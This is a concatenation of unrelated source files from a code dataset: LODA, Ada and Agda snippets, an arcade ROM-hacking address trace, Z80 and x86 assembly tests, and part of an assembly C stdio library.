seq $0,98090 ; Numbers k such that 2k-3 is prime.
sub $0,1
div $0,2
mod $0,2
|
src/test/aunit/main.adb | senier/genode-world | 0 | 2006 | --
-- \brief AUnit test program
-- \author <NAME>
-- \date 2019-01-03
--
with GNAT.IO;
with AUnit;
procedure Main is
use GNAT.IO;
begin
Put_Line ("No AUnit test, yet.");
end Main;
|
old/Sets/PredicateSet/Filter.agda | Lolirofle/stuff-in-agda | 6 | 7599 | module Sets.PredicateSet.Filter {ℓₒ} {ℓₒₗ} where
import Lvl
open import Functional
open import Logic.Propositional
-- open import Sets.PredicateSet
open import Type{ℓₒ Lvl.⊔ ℓₒₗ}
-- An element in Filter(T) is in the subset of T.
-- Something of type Filter(T) is of a restricted part of T.
-- Note: The level of Stmt inside P is lower than Type.
-- TODO: Is this the same as (⊤ ∩ P) in "Sets.PredicateSet"?
record Filter {T : Type} (P : T → Stmt{ℓₒₗ}) : Type where
constructor subelem
field
elem : T
⦃ satisfaction ⦄ : P(elem)
-- postulate nested-subset : ∀{T}{φ₁}{φ₂} → (Tₛ₁ : Filter{T}(φ₁)) → (Tₛ₂ : Filter{Filter{T}(φ₁)}(φ₂)) → Filter{T}(x ↦ φ₁(x) ∧ φ₂(subelem (x) ⦃ ⦄))
-- postulate nested-subset : ∀{T}{φ₁}{φ₂} → (Tₛ₁ : Filter{T}(φ₁)) → (Tₛ₂ : Filter{Filter{T}(φ₁)}(φ₂ ∘ Filter.elem)) → Filter{T}(x ↦ φ₁(x) ∧ φ₂(x))
-- postulate nested-subset : ∀{T}{φ₁}{φ₂} → (Filter{Filter{T}(φ₁)}(φ₂ ∘ Filter.elem) ≡ Filter{T}(x ↦ φ₁(x) ∧ φ₂(x)))
|
dino/lcs/enemy/85.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | 6 | 84487 | <reponame>zengfr/arcade_game_romhacking_sourcecode_top_secret_data<filename>dino/lcs/enemy/85.asm
copyright zengfr site:http://github.com/zengfr/romhack
001268 bne $1278 [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5, etc+25, item+25]
0012B8 bne $12c8 [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5, item+25]
00605C rts [123p+ BF]
006072 bne $60e0
00607C bne $60e0
006084 ble $60e0
0141C0 move.w ($c,A0), D5 [enemy+ 8, enemy+28, enemy+48, enemy+68, enemy+A8]
0141C4 add.w ($10,A0), D5 [enemy+ C, enemy+2C, enemy+4C, enemy+6C, enemy+AC]
0141C8 btst #$7, ($25,A0) [enemy+10, enemy+30, enemy+50, enemy+70, enemy+B0]
0141CE bne $141da
0141EE move.w (-$711e,A5), D0 [enemy+ C, enemy+2C, enemy+4C, enemy+6C, enemy+8C, enemy+AC]
0141FE bne $14226 [123p+ 5, enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5, etc+ 5, item+ 5]
014208 bne $14226 [123p+ 2E, enemy+ E, enemy+2E, enemy+4E, enemy+6E, enemy+8E, item+2E]
01421E bne $14226 [enemy+2E, enemy+6E]
01422C bne $14136 [123p+ 25, enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5, etc+25, item+25]
014234 btst #$6, ($25,A0) [123p+ 28, 123p+ 2A, enemy+ 8, enemy+ A, enemy+48, enemy+4A, enemy+68, enemy+6A, enemy+88, enemy+8A, enemy+A8, enemy+AA, etc+28, etc+2A, item+28, item+2A]
01423A bne $147fe [123p+ 25, enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5, etc+25, item+25]
01425C move.w ($c,A0), D5 [123p+ 8, enemy+ 8, enemy+28, enemy+48, enemy+68, enemy+88, enemy+A8, etc+ 8, item+ 8]
014260 add.w ($10,A0), D5 [123p+ C, enemy+ C, enemy+2C, enemy+4C, enemy+6C, enemy+8C, enemy+AC, etc+ C, item+ C]
014264 btst #$7, ($25,A0) [123p+ 10, enemy+10, enemy+30, enemy+50, enemy+70, enemy+90, enemy+B0, etc+10, item+10]
01426A bne $14276 [123p+ 25, enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5, etc+25, item+25]
014EDC bne $14f92 [123p+ 25, enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5, etc+25, item+25]
014EE4 add.w ($56,A0), D1
02B498 rts [enemy+1A, enemy+3A, enemy+5A, enemy+7A, enemy+9A, enemy+BA]
02B49E move.w ($84,A6), D1
02B4A2 movea.l #$2e68c, A0 [enemy+ 4, enemy+24, enemy+44, enemy+64, enemy+84, enemy+A4]
033854 move.w ($6,PC,D0.w), D0 [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+A5]
033866 jsr $939b6.l [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
033946 move.b #$b4, ($72,A6)
03394C move.b D0, ($a4,A6) [enemy+12, enemy+32, enemy+52, enemy+72, enemy+92, enemy+B2]
033950 move.w D0, ($a2,A6)
033954 move.b #$ff, ($a5,A6)
03395A move.b #$14, ($a9,A6) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
033960 move.b #$5a, ($ac,A6) [enemy+ 9, enemy+29, enemy+49, enemy+69, enemy+89, enemy+A9]
033966 move.b D0, ($ba,A6) [enemy+ C, enemy+2C, enemy+4C, enemy+6C, enemy+8C, enemy+AC]
033A0E addi.w #$80, D0 [enemy+14, enemy+54]
033A1C jsr $1862.l [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
033AAE addi.w #$80, D0 [enemy+14, enemy+34, enemy+94, enemy+B4]
033ABC jsr $1862.l [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
033C30 rts [enemy+25, enemy+45, enemy+65, enemy+85]
033C84 bsr $33c9e [enemy+1B, enemy+5B, enemy+7B, enemy+9B, enemy+BB]
033C98 clr.b ($23,A6) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
033C9C rts
033E46 rts [enemy+25, enemy+45, enemy+85, enemy+A5]
03486A addq.b #2, ($5,A6) [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+80, enemy+A0]
03486E move.w ($80,A6), D0 [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
034872 subq.w #1, D0 [enemy+ 0, enemy+20, enemy+60, enemy+80, enemy+A0]
035424 bne $3542a [enemy+ 5, enemy+85, enemy+A5]
03542E jsr $119c.l [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
03543E move.b ($a5,A6), D0 [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+80, enemy+A0]
035442 bne $3547a [enemy+ 5, enemy+85, enemy+A5]
036830 jsr $3293c.l
03683A jsr $119c.l [enemy+ 5, enemy+25, enemy+45, enemy+85, enemy+A5]
03B854 moveq #$0, D0 [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
03B9A8 jsr $1862.l [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
03B9DA move.b #$1, ($51,A6) [enemy+2C, enemy+4C, enemy+6C, enemy+8C, enemy+AC]
03B9E0 move.b ($5b,A6), ($24,A6) [enemy+11, enemy+31, enemy+71, enemy+91, enemy+B1]
03B9E6 addq.b #2, ($5,A6)
03B9EA rts [enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
03BB68 rts [enemy+ 5, enemy+25, enemy+45, enemy+85]
03CB4E addq.b #2, ($5,A6) [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+80, enemy+A0]
03CB52 move.w ($80,A6), D0 [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
04006E move.b D0, ($bc,A6)
040072 move.b D0, ($af,A6)
040076 jsr $3293c.l
040080 move.b ($6,A6), ($a0,A6) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
040086 jsr $119c.l [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+80, enemy+A0]
04016A move.b #$0, ($bc,A6)
040170 jsr $3293c.l
04017A jsr $119c.l [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85]
0401E4 jsr $325e6.l [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+80, enemy+A0]
0401EE move.w ($80,A6), D0 [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
040292 move.w ($10,A6), ($10,A1)
040298 move.w A0, ($a8,A1) [enemy+10, enemy+30, enemy+50, enemy+70, enemy+90, enemy+B0]
04029C move.w A2, ($aa,A1) [enemy+ 8, enemy+28, enemy+48, enemy+68, enemy+88, enemy+A8]
0402A0 move.b #$2, ($5,A1) [enemy+ A, enemy+2A, enemy+4A, enemy+6A, enemy+8A, enemy+AA]
0402A6 move.b #$1, ($0,A0) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
0402AC move.w #$f0, ($20,A0) [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+80, enemy+A0]
0402B2 move.w #$0, ($26,A0) [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+80, enemy+A0]
041BF6 move.b #$0, ($ba,A6)
041BFC jsr $3293c.l
041C06 jsr $119c.l [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
041CDC clr.b ($ba,A6)
041CE0 jsr $3293c.l
041CEA bsr $41c46 [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
041E6C jsr $325e6.l [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+80, enemy+A0]
041E76 move.w ($80,A6), D0 [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
041F1E move.w ($6,PC,D0.w), D1 [enemy+ 4, enemy+44, enemy+64, enemy+84]
041F36 move.b #$10, ($25,A6) [enemy+ 0, enemy+ 2, enemy+20, enemy+22, enemy+40, enemy+42, enemy+60, enemy+62, enemy+80, enemy+82, enemy+A0, enemy+A2]
041F3C move.b #$ff, ($7d,A6) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
041F42 clr.b ($59,A6) [enemy+1D, enemy+3D, enemy+5D, enemy+7D, enemy+9D, enemy+BD]
041F46 move.b #$ff, ($63,A6)
042690 tst.b ($26,A6) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85]
042878 clr.b ($5,A6) [enemy+ 4, enemy+24, enemy+44, enemy+64, enemy+84]
04287C clr.w ($6,A6)
042880 bra $42b96
0438AE move.b #$78, ($80,A6) [enemy+ 5, enemy+45, enemy+65, enemy+85]
0438B4 tst.b ($26,A6) [enemy+ 0, enemy+20, enemy+40, enemy+80]
0457DC tst.b ($26,A6) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
045848 move.b D0, ($87,A6)
04584C move.b D0, ($63,A6)
045850 move.b #$3c, ($72,A6)
045856 move.b D0, ($a5,A6) [enemy+12, enemy+32, enemy+52, enemy+72, enemy+92, enemy+B2]
04585A move.b D0, ($b6,A6)
04585E move.b D0, ($b7,A6)
045862 move.b D0, ($b8,A6)
04599C rts [enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
045AB0 jsr $1862.l [enemy+ 5, enemy+25, enemy+65, enemy+85, enemy+A5]
045B4E jsr $1862.l [enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
045EEA clr.b ($a5,A6)
045EEE move.b #$1, ($a6,A6)
045EF4 moveq #$1, D0 [enemy+ 6, enemy+26, enemy+46, enemy+66, enemy+86, enemy+A6]
045F3C move.b ($7,A6), D0 [enemy+ 2, enemy+22, enemy+42, enemy+62, enemy+82, enemy+A2]
045F68 jsr $119c.l
0460D8 move.b #$1, ($a6,A6) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
0460DE tst.b ($a6,A6) [enemy+ 6, enemy+26, enemy+46, enemy+66, enemy+86, enemy+A6]
046A4A addq.b #2, ($5,A6) [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+80, enemy+A0]
046A4E move.w ($80,A6), D0 [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
048BF0 move.b #$4, ($5,A6) [enemy+76]
048BF6 clr.w ($6,A6) [enemy+85]
048BFA jmp $a0cc.l
048E12 move.b #$a, ($78,A6) [enemy+22, enemy+A2]
048E18 move.w ($8,A6), ($ae,A6) [enemy+38, enemy+78]
048E1E move.b ($bd,A6), ($23,A6) [enemy+6E, enemy+AE]
048E24 clr.b ($5,A6) [enemy+23, enemy+A3]
048E28 clr.w ($6,A6)
048E2C tst.w ($6c,A6)
0512DC move.b #$ff, ($7d,A6) [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+80, enemy+A0]
0512E2 moveq #$0, D0 [enemy+1D, enemy+3D, enemy+5D, enemy+7D, enemy+9D, enemy+BD]
0512EC move.b #$10, ($25,A6) [enemy+ 0, enemy+ 2, enemy+20, enemy+22, enemy+40, enemy+42, enemy+60, enemy+62, enemy+80, enemy+82]
0512F2 move.b D0, ($a5,A6) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
0512F6 jsr $12cb4.l
053906 move.b #$8, ($a6,A6) [enemy+ 5, enemy+45, enemy+85]
05390C move.b ($a4,A6), ($a7,A6) [enemy+ 6, enemy+46, enemy+86]
053912 rts
05394A subq.b #1, ($a5,A6) [enemy+ 3, enemy+43, enemy+83]
05394E bpl $53954 [enemy+ 5, enemy+45, enemy+85]
055A02 moveq #$20, D0
055A16 rts [enemy+ 5, enemy+25, enemy+45, enemy+85, enemy+A5]
055B72 tst.b ($5,A6) [enemy+24, enemy+44, enemy+84, enemy+A4]
055B7C moveq #$1, D0 [enemy+25, enemy+45, enemy+85, enemy+A5]
056586 move.b #$ff, ($7d,A6) [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+80, enemy+A0]
05658C move.b #$0, ($5,A6) [enemy+1D, enemy+3D, enemy+5D, enemy+7D, enemy+9D, enemy+BD]
056592 move.b #$10, ($25,A6)
056598 move.l #$5674e, ($40,A6) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
0565A0 clr.w ($a0,A6) [enemy+ 0, enemy+ 2, enemy+20, enemy+22, enemy+40, enemy+42, enemy+60, enemy+62, enemy+80, enemy+82, enemy+A0, enemy+A2]
0565A4 move.w #$64, ($a2,A6)
056620 move.l #$0, ($b0,A6) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
056628 jsr $119c.l
05693E move.b #$0, ($5,A6) [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+80, enemy+A0]
056944 move.b #$ff, ($7d,A6)
05694A move.l #$56a56, ($40,A6) [enemy+1D, enemy+3D, enemy+5D, enemy+7D, enemy+9D, enemy+BD]
056952 move.b #$83, ($23,A6) [enemy+ 0, enemy+ 2, enemy+20, enemy+22, enemy+40, enemy+42, enemy+60, enemy+62, enemy+80, enemy+82, enemy+A0, enemy+A2]
056958 move.b #$10, ($25,A6) [enemy+ 3, enemy+23, enemy+43, enemy+63, enemy+83, enemy+A3]
05695E clr.w ($a0,A6) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
056962 move.w #$64, ($a2,A6)
056968 move.w #$10, ($a6,A6) [enemy+ 2, enemy+22, enemy+42, enemy+62, enemy+82, enemy+A2]
0569A6 move.w #$0, ($ac,A6) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
0569AC jsr $119c.l
056CA2 move.b #$9d, ($23,A6) [enemy+ 0, enemy+ 2, enemy+40, enemy+42, enemy+60, enemy+62, enemy+80, enemy+82, enemy+A0, enemy+A2]
056CA8 move.b #$ff, ($7d,A6) [enemy+23, enemy+43, enemy+63, enemy+83, enemy+A3]
056CAE clr.w ($a0,A6) [enemy+1D, enemy+3D, enemy+7D, enemy+9D, enemy+BD]
056CB2 move.b #$10, ($25,A6) [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+A0]
056CB8 moveq #$0, D0 [enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
056CBE move.w ($12,PC,D0.w), D1 [enemy+66, enemy+86]
057944 addq.b #2, ($4,A6) [enemy+3D, enemy+5D, enemy+7D, enemy+9D, enemy+BD]
057948 rts [enemy+ 4, enemy+24, enemy+44, enemy+84, enemy+A4]
057968 add.w D0, D0 [enemy+ 5, enemy+25, enemy+45, enemy+85, enemy+A5]
057DAE move.l #$57e0e, ($40,A6) [enemy+60]
057DB6 clr.w ($80,A6) [enemy+A0, enemy+A2]
057DBA clr.b ($83,A6)
057DBE move.b #$10, ($25,A6)
057DC4 jsr $12cb4.l [enemy+85]
057DCE beq $57dde
057FE8 addq.b #1, ($67be,A5) [enemy+1E, enemy+3E, enemy+7E, enemy+BE]
057FF2 move.l #$6fb1a, ($40,A6) [enemy+20, enemy+60, enemy+80, enemy+A0]
057FFA move.b #$10, ($25,A6) [enemy+ 0, enemy+ 2, enemy+20, enemy+22, enemy+60, enemy+62, enemy+A0, enemy+A2]
058000 move.b #$ff, ($7d,A6) [enemy+ 5, enemy+45, enemy+85, enemy+A5]
058006 move.b #$ff, ($63,A6) [enemy+1D, enemy+3D, enemy+5D, enemy+9D]
05800C move.b $0.w, ($59,A6) [enemy+ 3, enemy+23, enemy+43, enemy+83]
05810A move.b #$ff, ($63,A6) [enemy+1D, enemy+3D, enemy+5D, enemy+7D, enemy+9D, enemy+BD]
058110 move.l #$6fb6a, ($40,A6) [enemy+ 3, enemy+23, enemy+43, enemy+63, enemy+83, enemy+A3]
058118 moveq #$0, D0 [enemy+ 0, enemy+ 2, enemy+20, enemy+22, enemy+40, enemy+42, enemy+60, enemy+62, enemy+80, enemy+82, enemy+A0, enemy+A2]
058120 move.b D0, ($a5,A6) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
058124 move.b D0, ($59,A6)
058128 moveq #$22, D0
05A4A2 moveq #$0, D0 [enemy+23, enemy+43, enemy+63, enemy+A3]
05A4AC move.b #$10, ($25,A6) [enemy+ 0, enemy+ 2, enemy+20, enemy+22, enemy+40, enemy+42, enemy+80, enemy+82]
05A4B2 move.b D0, ($a5,A6) [enemy+ 5, enemy+25, enemy+65, enemy+A5]
05A4B6 move.b D0, ($b2,A6)
05A4BA move.w D0, ($a6,A6)
05A4BE move.b D0, ($a4,A6)
05A5E2 moveq #$0, D0
05A622 moveq #$1, D0 [enemy+25, enemy+65, enemy+85, enemy+A5]
05B024 move.w ($10,A6), ($10,A0)
05B02A move.w A1, ($a8,A0) [enemy+10, enemy+30, enemy+50, enemy+70, enemy+90, enemy+B0]
05B02E move.b ($96,A6), ($96,A0) [enemy+ 8, enemy+28, enemy+48, enemy+68, enemy+88, enemy+A8]
05B034 move.b #$2, ($5,A0) [enemy+16, enemy+36, enemy+56, enemy+76, enemy+96, enemy+B6]
05B03A move.b #$1, ($0,A1) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
05B040 move.w #$134, ($20,A1) [enemy+ 0, enemy+20, enemy+40, enemy+80, enemy+A0]
05B046 move.w A0, ($a0,A1) [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+A0]
05B04A move.w ($26,A0), ($26,A1) [enemy+ 0, enemy+20, enemy+60, enemy+80, enemy+A0]
05B050 rts [enemy+ 6, enemy+26, enemy+46, enemy+66, enemy+A6]
05B056 tst.b ($26,A6) [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
05B242 jsr $1862.l [enemy+45, enemy+65, enemy+85, enemy+A5]
05B252 clr.b ($5,A6) [enemy+ 4, enemy+24, enemy+44, enemy+64, enemy+84, enemy+A4]
05B256 clr.w ($6,A6)
05B25A jsr $326f8.l
05C38A move.b D0, ($a5,A6) [enemy+ 4, enemy+24, enemy+44, enemy+64, enemy+84, enemy+A4]
05C38E jsr $3140c.l [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
05C39A clr.b ($a7,A6) [enemy+ 6, enemy+26, enemy+46, enemy+66, enemy+86, enemy+A6]
05C43A addq.b #1, ($67be,A5) [enemy+1E, enemy+3E, enemy+5E, enemy+7E, enemy+9E, enemy+BE]
05C448 addq.b #2, ($5,A6)
05C44C moveq #$0, D0 [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
05C452 bmi $5c46e [enemy+ 6, enemy+26, enemy+46, enemy+66, enemy+86, enemy+A6]
05C474 clr.b ($5,A6) [enemy+ 6, enemy+26, enemy+46, enemy+66, enemy+A6]
05C478 move.b #$2, ($4,A6)
05C47E move.b ($5,A6), D0 [enemy+ 4, enemy+24, enemy+44, enemy+64, enemy+84]
05EFEC clr.b ($a2,A6) [enemy+ 5, enemy+25, enemy+45, enemy+85]
05EFF0 clr.b ($25,A6)
05EFF4 move.b #$1, ($51,A6)
092A66 move.b ($4e,A0), D0 [123p+ 25, enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
092ABA jmp $4964.l
copyright zengfr site:http://github.com/zengfr/romhack
|
Task/Bitmap-Histogram/Ada/bitmap-histogram-3.ada | LaudateCorpus1/RosettaCodeData | 1 | 5396 | <reponame>LaudateCorpus1/RosettaCodeData<filename>Task/Bitmap-Histogram/Ada/bitmap-histogram-3.ada
F1, F2 : File_Type;
begin
Open (F1, In_File, "city.ppm");
declare
X : Image := Get_PPM (F1);
Y : Grayscale_Image := Grayscale (X);
T : Luminance := Median (Get_Histogram (Y));
begin
Close (F1);
Create (F2, Out_File, "city_art.ppm");
for I in Y'Range (1) loop
for J in Y'Range (2) loop
if Y (I, J) < T then
X (I, J) := Black;
else
X (I, J) := White;
end if;
end loop;
end loop;
Put_PPM (F2, X);
end;
Close (F2);
|
test/Succeed/Issue1345.agda | redfish64/autonomic-agda | 0 | 8669 | -- {-# OPTIONS -v reify:80 #-}
open import Common.Prelude
open import Common.Reflection
open import Common.Equality
module Issue1345 (A : Set) where
unquoteDecl idNat = define (vArg idNat)
(funDef (pi (vArg (def (quote Nat) [])) (abs "" (def (quote Nat) [])))
(clause (vArg (var "") ∷ []) (var 0 []) ∷ []))
thm : ∀ n → idNat n ≡ n
thm n = refl
|
src/test/resources/data/reorganizertests/test-inlining.asm | cpcitor/mdlz80optimizer | 36 | 99890 | ; Test of the function inlining feature
org #4000
ld bc,var
; calling func1 (this should be inlined)
call func1
ld hl,var
ld (hl),a
; calling func2 (this should not be inlined, since it's called twice)
call func2
; calling func3 (this should not be inlined either,
; since there is a dependency with the func3a label)
call func3
; this should not be inlined, as func4 has a jp internally
call func4
loop:
call func2
call func3a
jr loop
func1:
ld a,(bc)
ret
func2:
ld a,(de)
ret
func3:
ld a,(hl)
func3a:
inc a
ret
func4:
ld a,(ix)
or a
jp z,func3a
ret
org #c000
var: ds virtual 1 |
dimension/devtool/clibs/stdio/stdio.asm | ekscrypto/Unununium | 7 | 16348 | <filename>dimension/devtool/clibs/stdio/stdio.asm
; Unununium Standard Libs by <NAME>
; STDIO
;
; Description: Provides FS interface to UUU
;
;
; Status: Coding
;
; ToDO:
; --------
; [ ] Finish the functions
; [x] Finish buffering
; [ ] Add all C Defines in stddef.inc
;
;
;
;
%include "struct.def"
%include "define.inc"
%include "fs/fs.inc"
%include "vid/mem.inc"
%include "vid/vfs.inc"
;
%include "fstdio.inc"
; ----------------
; Global Functions
; --------------------
; [Done]
global clearerr ;* ;; void clearerr(FILE *stream)
global fclose ;* ;; int fclose(FILE *stream)
global feof ;* ;; int feof(FILE *stream)
global ferror ;* ;; int ferror(FILE *stream)
global fflush ;* ;; int fflush(FILE *stream)
global fgetpos ;* ;; int fgetpos(FILE *stream, fpos_t *pos)
global fopen ;* ;; FILE *fopen(const char *filename, const char *mode)
global fread ;* ;; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
global freopen ;; FILE *freopen(const char *filename, const char *mode, FILE *stream)
global fseek ;* ;; int fseek(FILE *stream, long int offset, int whence)
global fsetpos ;* ;; int fsetpos(FILE *stream, const fpos_t *pos)
global ftell ;* ;; long int ftell(FILE *stream)
global fwrite ;* ;; size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
global remove ;; int remove(const char *filename)
global rename ;; int rename(const char *old_filename, const char *new_filename)
global rewind ;* ;; void rewind(FILE *stream)
global setbuf ;* ;; void setbuf(FILE *stream, char *buffer)
global setvbuf ;* ;; int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
global tmpfile ;; FILE *tmpfile(void)
global tmpnam ;; char *tmpnam(char *str)
; ----------------
; Extern Data
; --------------------
extern stdlib_stdin ; Data of the app we#re running
extern stdlib_stdout
extern stdlib_stderr
extern process_info
section .text
;
;--------------------------------------; Allright, we start here
; GLOBAL FUNCTIONS
clearerr: ;; void clearerr(FILE *stream)
; -------------------------------
; Clears the end-of-file and error indicators for the given stream.
; As long as the error indicator is set, all stream operations will return
; an error until clearerr or rewind is called.
;; Status: Done
push ebp
mov ebp, esp
; Step 1: Get the param
push ebx
mov ebx, [ebp + 8]
call _tool.parsefilepointer ; Check it
; Step 2: Reset EOF & Error sign
mov dword [ebx+l4u_FileDescr.iserror], 00h
mov dword [ebx+l4u_FileDescr.iseof], 00h
; Step 3: Return 0
xor eax, eax
pop ebx
pop ebp
retn
fclose: ;; int fclose(FILE *stream)
; -------------------------------
; Closes the stream. All buffers are flushed.
; If successful, it returns zero. On error it returns EOF.
;; Status: Done
push ebp ;
mov ebp, esp ;
; ---
; Step 1: Get the param
push ebx ;
mov ebx, [ebp + 8] ; EBX points to our FileDescr
; ---
call _tool.parsefilepointer ; Check it
call _tool.destruct_l4uFD ; Next Step: Remove our l4u_FileDescr
pop ebx ; Cleanup
pop ebp ;
retn ; <done>
;--------------------------------------;
feof: ;; int feof(FILE *stream)
; -------------------------------
; Tests the end-of-file indicator for the given stream. If the stream
; is at the end-of-file, then it returns a nonzero value.
; If it is not at the end of the file, then it returns zero.
;; Status: Done
push ebp
mov ebp, esp
; Step 1: Get the param
push ebx
mov ebx, [ebp + 8]
call _tool.parsefilepointer ; Check it
; Step 2: Check EOF
mov ebx, dword [ebx+l4u_FileDescr.iseof]
cmp ebx, dword 00h
je .neof
mov ebx, dword EOF
; Step 3: Return
.neof:
mov eax, ebx
pop ebx
pop ebp
retn
ferror: ;; int ferror(FILE *stream)
; -------------------------------
; Tests the error indicator for the given stream. If the
; error indicator is set, then it returns a nonzero value.
; If the error indicator is not set, then it returns zero.
;; Status: Done
push ebp
mov ebp, esp
; Step 1: Get the param
push ebx
mov ebx, [ebp + 8]
call _tool.parsefilepointer ; Check it
; Step 2: Check EOF
mov ebx, dword [ebx+l4u_FileDescr.iserror]
cmp ebx, dword 00h
je .nerr
; call _tool.parseerror
mov ebx, -1
; Step 3: Return
.nerr:
mov eax, ebx
pop ebx
pop ebp
retn
fflush: ;; int fflush(FILE *stream)
; Returns zero
xor eax, eax
retn
;
fgetpos: ;; int fgetpos(FILE *stream, fpos_t *pos)
; -------------------------------
; Gets the current file position of the stream and writes it to pos.
; If successful, it returns zero.
; On error it returns a nonzero value and stores the error number in the variable.
; Status: Done
call ftell ; Call ftell (pipe)
push ebp ; -> Returns EAX=position
mov ebp, esp ;
; Result is in eax
mov ebp, dword [ebp+12] ;
cmp eax, dword -1 ;
jne .ok ;
; ---
call _tool.seterr ; Error
pop ebp ;
retn ;
; ---
.ok: ; Ok
mov dword [ebp], eax ; Save *pos
xor eax, eax ; Return 0
;
pop ebp ;
retn ; <done>
;--------------------------------------;
fseek: ;; int fseek(FILE *stream, long int offset, int whence)
; ---------------------------
; Sets the file position of the stream to the given offset.
; The argument offset signifies the number of bytes to seek
; from the given whence position. The argument whence can be:
; SEEK_SET Seeks from the beginning of the file.
; SEEK_CUR Seeks from the current position.
; SEEK_END Seeks from the end of the file.
; On a text stream, whence should be SEEK_SET and offset should
; be either zero or a value returned from ftell.
;
; The end-of-file indicator is reset. The error indicator is NOT reset.
; On success zero is returned. On error a nonzero value is returned.
; Status: Done
push ebp
mov ebp, esp
push ebx
push edx
push esi
; Step 1: Get the param
mov ebx, [ebp + 8] ; FileHandle
mov eax, [ebp + 12] ; Offset
xor edx, edx ;
call _tool.parsefilepointer ; - Check it
clc
call _tool.eof ; Clear EOF
; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
;
;-------------------------------;
; ESI = OpTable
; EBX = FIleHandle (UUU)
; EDX:EAX = Size to seek
; Stack+0 = Our FileHandle
;-------------------------------;
;
cmp [ebp + 16], dword SEEK_END
jne .not_end ;
;
mov esi, dword [esi+file_op_table.seek_end]
jmp .continue ;
.not_end: ;
cmp [ebp + 16], dword SEEK_CUR
jne .not_cur ;
mov esi, dword [esi+file_op_table.seek_cur]
jmp .continue ;
.not_cur: ;
mov esi, dword [esi+file_op_table.seek_start]
;
.continue: ;
call [esi] ; Call!
;
jc .error ;
xor eax, eax ; Return zero
jmp .done ;
.error: ;
call _tool.seterror ; Set error
;
.done: ; <ends>
pop esi ;
pop edx ;
pop ebx ;
pop ebp ;
retn ;
fsetpos: ;; int fsetpos(FILE *stream, const fpos_t *pos)
; -------------------------------
; Sets the file position of the given stream to the given position.
; The argument pos is a position given by the function fgetpos.
; The end-of-file indicator is cleared.
; On success zero is returned. On error a nonzero value
; is returned and the variable errno is set.
push ebp
mov ebp, esp
push ebx
push edx
push esi
; Step 1: Get the param
mov ebx, [ebp + 8] ; FileHandle
mov eax, [ebp + 12] ; Offset
mov eax, [eax] ; - Get it
xor edx, edx ;
